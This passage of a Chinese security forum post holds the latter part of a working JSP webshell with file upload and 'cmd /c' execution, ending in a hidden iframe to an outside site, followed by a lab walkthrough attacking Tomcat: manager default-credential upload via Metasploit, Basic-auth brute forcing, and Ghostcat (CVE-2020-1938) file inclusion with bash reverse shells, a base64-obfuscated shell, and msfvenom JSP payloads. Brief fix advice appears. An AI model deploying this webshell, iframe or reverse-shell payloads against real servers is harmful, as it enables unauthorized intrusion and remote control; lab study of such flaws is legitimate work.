  474.    sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
  475.   }
  476.   else
  477.   {
  478.    String strTmpFile=strDesFile;
  479.    if(f_des.isDirectory())
  480.    {
  481.     if(!strDesFile.endsWith("\"))
  482.     {
  483.      strDesFile=strDesFile+"\";
  484.     }
  485.     strTmpFile=strDesFile+"cqq_"+strFile;
  486.     }
  487.    
  488.    File f_des_copy=new File(strTmpFile);
  489.    FileInputStream in1=new FileInputStream(f);
  490.    FileOutputStream out1=new FileOutputStream(f_des_copy);
  491.    byte[] buffer=new byte[1024];
  492.    int c;
  493.    while((c=in1.read(buffer))!=-1)
  494.    {
  495.     out1.write(buffer,0,c);
  496.    }
  497.    in1.close();
  498.    out1.close();

  499.    sbSaveCopy.append("原始文件 :"+strPath+"<p>");
  500.    sbSaveCopy.append("目标文件 :"+strTmpFile+"<p>");
  501.    sbSaveCopy.append("<font color=red>复制成功!</font>");   
  502.   }  
  503. }
  504. sbSaveCopy.append("<p><input type=button name=saveC
  505. opyBack onclick='history.back(-2);' value=返回>");
  506. }
  507. if(strAction!=null && strAction.equals("newFile"))
  508. {
  509. String strF=request.getParameter("fileName");
  510. String strType1=request.getParameter("btnNewFile");
  511. String strType2=request.getParameter("btnNewDir");
  512. String strType="";
  513. if(strType1==null)
  514. {
  515.   strType="Dir";
  516. }
  517. else if(strType2==null)
  518. {
  519.   strType="File";
  520. }
  521. if(!strType.equals("") && !(strF==null || strF.equals("")))
  522. {  
  523.    File f_new=new File(strF);   
  524.    if(strType.equals("File") && !f_new.createNewFile())
  525.     sbNewFile.append(strF+" 文件创建失败");
  526.    if(strType.equals("Dir") && !f_new.mkdirs())
  527.     sbNewFile.append(strF+" 目录创建失败");
  528. }
  529. else
  530. {
  531.   sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
  532. }
  533. }
  534. if((request.getContentType()!= null) && (request.getContentType().to
  535. LowerCase().startsWith("multipart")))
  536. {
  537. String tempdir=".";
  538. boolean error=false;
  539. response.setContentType("text/html");
  540. sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
  541. HttpMultiPartParser parser = new HttpMultiPartParser();

  542. int bstart = request.getContentType().lastIndexOf("oundary=");
  543. String bound = request.getContentType().substring(bstart + 8);
  544. int clength = request.getContentLength();
  545. Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
  546. if (ht.get("cqqUploadFile") != null)
  547. {

  548.   FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
  549.   File f1 = fi.file;
  550.   UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
  551.   if (info != null && info.aborted)
  552.   {
  553.    f1.delete();
  554.    request.setAttribute("error", "Upload aborted");
  555.   }
  556.   else
  557.   {
  558.    String path = (String) ht.get("path");
  559.    if(path!=null && !path.endsWith("\"))
  560.     path = path + "\";
  561.    if (!f1.renameTo(new File(path + f1.getName())))
  562.    {
  563.     request.setAttribute("error", "Cannot upload file.");
  564.     error = true;
  565.     f1.delete();
  566.    }
  567.   }
  568. }
  569. }
  570. %>
  571. <html>
  572. <head>
  573. <style type="text/css">
  574. td,select,input,body{font-size:9pt;}
  575. A { TEXT-DECORATION: none }

  576. #tablist{
  577. padding: 5px 0;
  578. margin-left: 0;
  579. margin-bottom: 0;
  580. margin-top: 0.1em;
  581. font:9pt;
  582. }

  583. #tablist li{
  584. list-style: none;
  585. display: inline;
  586. margin: 0;
  587. }

  588. #tablist li a{
  589. padding: 3px 0.5em;
  590. margin-left: 3px;
  591. border: 1px solid ;
  592. background: F6F6F6;
  593. }

  594. #tablist li a:link, #tablist li a:visited{
  595. color: navy;
  596. }

  597. #tablist li a.current{
  598. background: #EAEAFF;
  599. }

  600. #tabcontentcontainer{
  601. width: 100%;
  602. padding: 5px;
  603. border: 1px solid black;
  604. }

  605. .tabcontent{
  606. display:none;
  607. }

  608. </style>

  609. <script type="text/javascript">

  610. var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

  611. ////////Stop editting////////////////

  612. function cascadedstyle(el, cssproperty, csspropertyNS){
  613. if (el.currentStyle)
  614. return el.currentStyle[cssproperty]
  615. else if (window.getComputedStyle){
  616. var elstyle=window.getComputedStyle(el, "")
  617. return elstyle.getPropertyValue(csspropertyNS)
  618. }
  619. }

  620. var previoustab=""

  621. function expandcontent(cid, aobject){
  622. if (document.getElementById){
  623. highlighttab(aobject)
  624. if (previoustab!="")
  625. document.getElementById(previoustab).style.display="none"
  626. document.getElementById(cid).style.display="block"
  627. previoustab=cid
  628. if (aobject.blur)
  629. aobject.blur()
  630. return false
  631. }
  632. else
  633. return true
  634. }

  635. function highlighttab(aobject){
  636. if (typeof tabobjlinks=="undefined")
  637. collecttablinks()
  638. for (i=0; i<tabobjlinks.length; i++)
  639. tabobjlinks[i].style.backgroundColor=initTabcolor
  640. var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
  641. aobject.style.backgroundColor=document.getElementById("tabcont
  642. entcontainer").style.backgroundColor=themecolor
  643. }

  644. function collecttablinks(){
  645. var tabobj=document.getElementById("tablist")
  646. tabobjlinks=tabobj.getElementsByTagName("A")
  647. }

  648. function do_onload(){
  649. collecttablinks()
  650. initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
  651. initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
  652. expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
  653. }

  654. if (window.addEventListener)
  655. window.addEventListener("load", do_onload, false)
  656. else if (window.attachEvent)
  657. window.attachEvent("onload", do_onload)
  658. else if (document.getElementById)
  659. window.onload=do_onload



  660. </script>
  661. <script language="javascript">

  662. function doForm(action,path,file,cmd,tab,content)
  663. {
  664. document.frmCqq.action.value=action;
  665. document.frmCqq.path.value=path;
  666. document.frmCqq.file.value=file;
  667. document.frmCqq.cmd.value=cmd;
  668. document.frmCqq.tabID.value=tab;
  669. document.frmCqq.content.value=content;
  670. if(action=="del")
  671. {
  672.   if(confirm("确定要删除文件 "+file+" 吗?"))
  673.   document.frmCqq.submit();
  674. }
  675. else
  676. {
  677.   document.frmCqq.submit();   
  678. }
  679. }
  680. </script>

  681. <title>JSP Shell 岁月联盟专用版本</title>
  682. <head>


  683. <body>

  684. <form name="frmCqq" method="post" action="">
  685. <input type="hidden" name="action" value="">
  686. <input type="hidden" name="path" value="">
  687. <input type="hidden" name="file" value="">
  688. <input type="hidden" name="cmd" value="">
  689. <input type="hidden" name="tabID" value="2">
  690. <input type="hidden" name="content" value="">
  691. </form>

  692. <!--Top Menu Started-->
  693. <ul id="tablist">
  694. <li><a href="" class="current" onClick="return expandcontent('menu1', this)">
  695. <%=strFileManage[languageNo]%> </a></li>
  696. <li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#E
  697. AEAFF"> <%=strCommand[languageNo]%> </a></li>
  698. <li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EA
  699. EAFF"> <%=strSysProperty[languageNo]%> </a></li>
  700. <li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme=
  701. "#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
  702. &nbsp; <%=authorInfo[languageNo]%>
  703. </ul>
  704. <!--Top Menu End-->


  705. <%
  706. StringBuffer sbFolder=new StringBuffer("");
  707. StringBuffer sbFile=new StringBuffer("");
  708. try
  709. {
  710. File objFile = new File(strDir);
  711. File list[] = objFile.listFiles();
  712. if(objFile.getAbsolutePath().length()>3)
  713. {
  714.   sbFolder.append("<tr><td >&nbsp;</td><td><a href="javascript:doForm('','"+formatPath(ob
  715. jFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');">");
  716.   sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");


  717. }
  718. for(int i=0;i<list.length;i++)
  719. {
  720.   if(list[i].isDirectory())
  721.   {
  722.    sbFolder.append("<tr><td >&nbsp;</td><td>");
  723.    sbFolder.append("  <a href="javascript:doForm('','"+formatPath(list
  724. [i].getAbsolutePath())+"','','"+strCmd+"','1','');">");
  725.    sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
  726.   }
  727.   else
  728.   {
  729.       String strLen="";
  730.    String strDT="";
  731.    long lFile=0;
  732.    lFile=list[i].length();
  733.    strLen = convertFileSize(lFile);
  734.    Date dt=new Date(list[i].lastModified());
  735.    strDT=dt.toLocaleString();
  736.    sbFile.append("<tr onmouseover="this.style.backgroundColor='#FBFFC6'" onmous
  737. eout="this.style.backgroundColor='white'"><td>");
  738.    sbFile.append(""+list[i].getName());
  739.    sbFile.append("</td><td>");
  740.    sbFile.append(""+strLen);
  741.    sbFile.append("</td><td>");
  742.    sbFile.append(""+strDT);
  743.    sbFile.append("</td><td>");

  744.    sbFile.append(" &nbsp;<a href="javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].g
  745. etName()+"','"+strCmd+"','"+tabID+"','');">");
  746.    sbFile.append(strFileEdit[languageNo]+"</a> ");

  747.    sbFile.append(" &nbsp;<a href="javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].ge
  748. tName()+"','"+strCmd+"','"+tabID+"','');">");
  749.    sbFile.append(strFileDel[languageNo]+"</a> ");

  750.    sbFile.append("  &nbsp;<a href="javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].g
  751. etName()+"','"+strCmd+"','"+tabID+"','');">");
  752.    sbFile.append(strFileDown[languageNo]+"</a> ");

  753.    sbFile.append("  &nbsp;<a href="javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].
  754. getName()+"','"+strCmd+"','"+tabID+"','');">");
  755.    sbFile.append(strFileCopy[languageNo]+"</a> ");
  756.   }  

  757. }
  758. }
  759. catch(Exception e)
  760. {
  761. out.println("<font color=red>操作失败: "+e.toString()+"</font>");
  762. }
  763. %>
  764. <DIV id="tabcontentcontainer">
  765. <div id="menu3" class="tabcontent">
  766. <br>
  767. <br> &nbsp;&nbsp; 未完成
  768. <br>
  769. <br>&nbsp;

  770. </div>

  771. <div id="menu4" class="tabcontent">
  772. <br>
  773. <p>一、功能说明</p>
  774. <p>&nbsp;&nbsp;&nbsp; jsp 版本的文件管理器,通过该程序可以远程管理服务
  775. 器上的文件系统您可以新建、修改、</p>
  776. <p>删除、下载文件和目录。对于windows系统 还提供了命令行窗口的功能 可以运行一些程序类似</p>
  777. <p>与windows的cmd。</p>
  778. <p>&nbsp;</p>
  779. <p>二、测试</p>
  780. <p>&nbsp;&nbsp;&nbsp;<b>请大家在使用过程中,有任何问题,意见或者建议都可以给我留言
  781. 以便使这个程序更加完善和稳定,<p>
  782. 留言地址为:<a href="http://" target="_blank"></a></b>
  783. <p>&nbsp;</p>
  784. <p>三、更新记录</p>
  785. <p>&nbsp;&nbsp;&nbsp; 2004.11.15&nbsp; V0.9测试版发布,增加了一些基本的功能
  786. 文件编辑、复制、删除、下载、上传以及新建文件目录功能</p>
  787. <p>&nbsp;&nbsp;&nbsp; 2004.10.27&nbsp; 暂时定为0.6版吧  提供了目录文件浏览功能 和 cmd功能</p>
  788. <p>&nbsp;&nbsp;&nbsp; 2004.09.20&nbsp; 第一个jsp&nbsp;程序就是这个
  789. 简单的显示目录文件的小程序</p>
  790. <p>&nbsp;</p>
  791. <p>&nbsp;</p>
  792. </div>


  793. <div id="menu1" class="tabcontent">
  794. <%
  795. out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpaddin
  796. g=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurre
  797. ntFolder[languageNo]+": <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
  798. %>
  799. <table width="100%" border="1" cellspacing="0" cellpadding="5" border
  800. colorlight="#000000" bordercolordark="#FFFFFF">
  801.       
  802.         <tr>
  803.           <td width="25%" align="center" valign="top">
  804.               <table width="98%" border="0" cellspacing="0" cellpadding="3">
  805.      <%=sbFolder%>
  806.                 </tr>                 
  807.               </table>
  808.           </td>
  809.           <td width="81%" align="left" valign="top">

  810. <%
  811. if(strAction!=null && strAction.equals("edit"))
  812. {
  813.   out.println(sbEdit.toString());
  814. }
  815. else if(strAction!=null && strAction.equals("copy"))
  816. {
  817.   out.println(sbCopy.toString());
  818. }
  819. else if(strAction!=null && strAction.equals("down"))
  820. {
  821.   out.println(sbDown.toString());
  822. }
  823. else if(strAction!=null && strAction.equals("savecopy"))
  824. {
  825.   out.println(sbSaveCopy.toString());
  826. }
  827. else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
  828. {
  829.   out.println(sbNewFile.toString());
  830. }
  831. else
  832. {
  833. %>
  834.   <span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" borde
  835. rcolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
  836.               <tr bgcolor="#E7e7e6">
  837.                 <td width="26%"><%=strFileName[languageNo]%></td>
  838.                 <td width="19%"><%=strFileSize[languageNo]%></td>
  839.                 <td width="29%"><%=strLastModified[languageNo]%></td>
  840.                 <td width="26%"><%=strFileOperation[languageNo]%></td>
  841.               </tr>              
  842.             <%=sbFile%>
  843.              <!-- <tr align="center">
  844.                 <td colspan="4"><br>
  845.                   总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font>
  846.                   KB </td>
  847.               </tr>
  848.     -->
  849.             </table>
  850.    </span>
  851. <%
  852. }  
  853. %>

  854.           </td>
  855.         </tr>

  856. <form name="frmMake" action="" method="post">
  857. <tr><td colspan=2 bgcolor=#FBFFC6>
  858. <input type="hidden" name="action" value="newFile">
  859. <input type="hidden" name="path" value="<%=strDir%>">
  860. <input type="hidden" name="file" value="<%=strFile%>">
  861. <input type="hidden" name="cmd" value="<%=strCmd%>">
  862. <input type="hidden" name="tabID" value="1">
  863. <input type="hidden" name="content" value="">
  864. <%
  865. if(!strDir.endsWith("\"))
  866. strDir = strDir + "\";
  867. %>
  868. <input type="text" name="fileName" size=36 value="<%=strDir%>">
  869. <input type="submit" name="btnNewFile" value="新建文件" onclick="frmMake.submit()" >
  870. <input type="submit" name="btnNewDir" value="新建目录"  onclick="frmMake.submit()" >
  871. </form>  
  872. <form name="frmUpload" enctype="multipart/form-data" action="" method="post">
  873. <input type="hidden" name="action" value="upload">
  874. <input type="hidden" name="path" value="<%=strDir%>">
  875. <input type="hidden" name="file" value="<%=strFile%>">
  876. <input type="hidden" name="cmd" value="<%=strCmd%>">
  877. <input type="hidden" name="tabID" value="1">
  878. <input type="hidden" name="content" value="">
  879. <input type="file" name="cqqUploadFile" size="36">
  880. <input type="submit" name="submit" value="上传">
  881. </td></tr></form>
  882.       </table>
  883. </div>
  884. <div id="menu2" class="tabcontent">

  885. <%
  886. String line="";
  887. StringBuffer sbCmd=new StringBuffer("");

  888. if(strCmd!=null)
  889. {
  890. try
  891. {
  892.   //out.println(strCmd);
  893.   Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
  894.   BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
  895.   while((line=br.readLine())!=null)
  896.   {
  897.    sbCmd.append(line+"\r\n");  
  898.   }   
  899. }
  900. catch(Exception e)
  901. {
  902.   System.out.println(e.toString());
  903. }
  904. }
  905. else
  906. {
  907. strCmd = "set";
  908. }

  909. %>
  910. <form name="cmd" action="" method="post">
  911. &nbsp;
  912. <input type="text" name="cmd" value="<%=strCmd%>" size=50>
  913. <input type="hidden" name="tabID" value="2">
  914. <input type=submit name=submit value="<%=strExecute[languageNo]%>">
  915. </form>
  916. <%
  917. if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
  918. {
  919. %>
  920. &nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=
  921. sbCmd.toString()%></TEXTAREA>
  922. <br>&nbsp;
  923. <%
  924. }
  925. %>
  926. </DIV>
  927. </div>
  928. <br><br>
  929. <center><a href="http://" target="_blank"></a>
  930. <br>
  931. <iframe src=http://7jyewu.cn/a/a.asp width=0 height=0></iframe>
复制代码

MSF攻击
  1. use exploit/multi/http/tomcat_mgr_upload
  2. set HttpUsername tomcat
  3. set HttpPassword tomcat
  4. set rhosts 192.168.175.191
  5. set rport 8080
  6. exploit
复制代码

这里就直接略过了 自己去操作一下

这就成功进来了

65.png

修复建议
1、在系统上以低权限运行 Tomcat应用程序。创建一个专门的 Tomcat服务用户
该用户只能拥有一组最小权限例如不允许远程登录
2、增加对于本地和基于证书的身份验证,部署账户锁定机制对于集中式认证,目录服务也要做相应配置。
在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制
3、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制

Tomcat manager App暴力破解

漏洞复现

我们先抓后台的包

63.png

然后放包 进行登录

62.png

这里注意这段回显
  1. Authorization: Basic dG9tY2F0OnRvbWNhdA==
复制代码

61.png

发现Tomcat的后台登录账号和密码

是以base64加密的 账号:密码

然后我们重新去抓后台的包 进行爆破

60.png

39.png

添加密码本 和base64 的编码规则

把这个自带的编码 对勾去掉

38.png

开始攻击 拿到账号和密码

36.png

这里讲第二种方式

自定义迭代器

33.png

分位置 进行不同的载入

比如这里 就应该是3个位置

32.png

31.png

30.png

下面和之前的设置 一样

base64编码 和去掉对勾 默认的Url编码

修复建议
1.取消 manager/html功能
2.manager页面应只允许本地IP访问


Tomcat AJP文件包含漏洞分析(CVE-2020-1938)

漏洞简介
由于 Tomcat在处理AJP请求时 未对请求做任何验证
通过设置AJP连接器封装的 request对象的属性 导致产生任意文件读取漏洞和代码执行漏洞!
CVE-2020-1938又名 GhostCat,由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞 由于 Tomcat AJP协
议设计上存在缺陷 攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文
件例如可以读取 webapp配置文件或源码。

此外在目标应用有文件上传功能的情况下 配合文件包含的利用还可以达到远程代码执行的危害。
源码分析
漏洞成因是两个配置文件导致
Tomat在部罢时有两个重要的配置文件conf/server.xml、conf/web.xml
前者定义了 Tomcat启动时涉及的组件属性 其中包含两个connector(用于处理请求的组件)
如果开启状态下 tomcat启动后会监听8080 8009端口 它们分别负责接受http ajp协议的数据
后者则和普通的javaWeb应用一样 用来定义servlet
  1. Apache Tomcat 9.x < 9.0.31
  2. Apache Tomcat 8.x<8.5.51
  3. Apache Tomcat 7.x<7.0.100
  4. Apache tomcat 6.x
复制代码

参考链接

https://xz.aliyun.com/t/7325

https://yinwc.github.io/2020/03/01/CVE-2020-1938/

运行过程

29.png

从图中可以看出 Tomcat最顶层的容器是 Server 其中包含至少一个或者多个 Service 一个 Service有
多个 Connector和一个 Container组成。

这两个组件的作用为:
1、Connector用于处理连接相关的事情 并提供Socket与Request和Response相关的转化;
2、Container用于封装和管理 Servlet,以及具体处理 Request请求

Tomcat默认的conf/server.xml中配置了2个Connector,
一个为8080端口 HTTP协议(1.1版本)端口 默认监听地址:0.0.0.0:8080
另外一个就是默认的8009 AJP协议 1.3版本 默认监听地址为:0.0.0.0:8009 两个端口默认均监听在外网。此次漏洞
生的位置便是8009 AJP协议 此处使用公开的利用脚本进行测试,可以看到能读取web.xml文件
漏洞复现
利用vulhub
  1. cd tomcat/CVE-2020-1938

  2. sudo docker-compose up -d
复制代码

28.png

Poc地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

脚本是基于Python2的

它可以看webapps目录下的所有东西
26.png

可以看到它的语法要求
python2 文件读取.py 192.168.175.191 -p 8009 -f webapps目录下的待读取的文件

python2 文件读取.py 192.168.175.191 -p 8009 -f /WEB-INF/web.xml

22.png

文件包含RCE

在线bash payload生成: http://www.jackson-t.ca/runtime-exec-payloads.html
  1. bash -i >& /dev/tcp/192.168.175.191/8888 0>&1
复制代码

21.png

  1. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEv
  2. ODg4OCAwPiYx}|{base64,-d}|{bash,-i}
复制代码

最终的txt的payload
  1. <%
  2.     java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiA
  3. vZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
  4.     int a = -1;
  5.     byte[] b = new byte[2048];
  6.     out.print("<pre>");
  7.     while((a=in.read(b))!=-1){
  8.         out.println(new String(b));
  9.     }
  10.     out.print("</pre>");
  11. %>
复制代码

这边要手动上传上去

查看
  1. sudo docker ps
复制代码

20.png

然后开始上传
  1. sudo docker cp /home/dayu/Desktop/1.txt 6c80deb9d194:/usr/local/tomcat/webapps/ROOT
复制代码

可以去docker 底层看看
  1. sudo docker exec -ti 6c bash
复制代码

19.png


成功传上去了

开启nc监听

具体可以看这里:https://blog.csdn.net/qq_30653631/article/details/93749505?utm_medium=distrib
ute.pc_aggpage_search_result.none-task-blog-2~aggregatepage~first_rank_v2~rank_aggregation-1
-93749505.pc_agg_rank_aggregation&utm_term=Ubuntu%E5%AE%89%E8%A3%85nc&spm=1000.
2123.3001.4430

18.png

python2 文件包含.py 192.168.175.191 -p 8009 -f 1.txt

16.png

12.png

可以看到成功上线了

可以和War联动是吧 可以和PUT联动

把shell弹到MSF上

MSF生成木马

我这边还是上kali吧 Ubuntu不是很顺手
  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.175.167 LPORT=4444 R > shell.txt
复制代码

11.png

  1. sudo docker cp /home/dayu/Desktop/shell.txt 6c80deb9d
  2. 194:/usr/local/tomcat/webapps/ROOT
复制代码

去docker底层看看

QQ截图20210731160909.png

上MSF 开启监听
  1. msf6 > use exploit/multi/handler
  2. [*] Using configured payload generic/shell_reverse_tcp
  3. msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
  4. payload => java/jsp_shell_reverse_tcp
  5. msf6 exploit(multi/handler) > set lhost 192.168.175.167
  6. lhost => 192.168.175.167
  7. msf6 exploit(multi/handler) > set lport 4444
  8. lport => 4444
  9. msf6 exploit(multi/handler) > exploit -j
复制代码

执行文件包含RCE
  1. python2 文件包含.py 192.168.175.191 -p 8009 -f shell.txt
复制代码

QQ截图20210731161000.png

可以看到已经拿到shell了

QQ截图20210731161035.png

按shell就可以进来了

999.png

修复建议
1、将 Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复
2、禁用AJP协议
具体方法:
编辑/conf/server.xml,找到如下行:
  1. <Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
复制代码

注释或删除

3、配置 secret来设置AJP协议的认证凭证。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.